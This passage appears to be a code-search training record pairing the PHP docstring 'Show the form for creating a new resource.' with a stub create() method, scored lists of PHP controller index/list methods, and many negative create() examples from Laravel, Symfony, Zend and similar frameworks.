'</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "function listing() {\r\n\r\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446838", "0.7361646", "0.7299749", "0.7246801", "0.7163394", "0.7148201", "0.71318537", "0.7104601", "0.7101873", "0.709985", "0.70487136", "0.69936216", "0.6988242", "0.69347453", "0.68989795", "0.68988764", "0.68909055", "0.68874204", "0.68650436", "0.6848891", "0.6829478", "0.6801521", "0.67970383", "0.6794992", "0.678622", "0.67595136", "0.67416173", "0.6730242", "0.67248064", "0.6724347", "0.6724347", "0.6724347", "0.6717754", "0.67069757", "0.67046493", "0.67045283", "0.66652155", "0.6662764", "0.6659929", "0.6659647", "0.665744", "0.6653796", "0.66483474", "0.6620148", "0.6619058", "0.66164845", "0.6606442", "0.66005665", "0.65998816", "0.6593891", "0.6587057", "0.6584887", "0.65822107", "0.65806025", "0.6576035", "0.65731865", "0.6571651", "0.65702003", "0.6569641", "0.6564336", "0.65618914", "0.65526754", "0.6552204", "0.6545456", "0.653638", "0.65332466", "0.65329266", "0.65268785", "0.6525191", "0.652505", "0.65196913", "0.6517856", "0.6517691", "0.65152586", "0.6515112", "0.6507232", "0.65038383", "0.65013176", "0.64949673", "0.6491598", "0.6486873", "0.64857864", "0.6484881", "0.6483896", "0.64777964", "0.6476692", "0.64711976", "0.6469358", "0.64685416", "0.64659655", "0.6462483", "0.6461606", "0.6459046", "0.6457556", "0.6454214", "0.6453915", "0.64524966", "0.64499927", "0.6448528", "0.6447461", "0.6445687" ]
0.0
-1
Show the form for creating a new resource.
public function create() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not 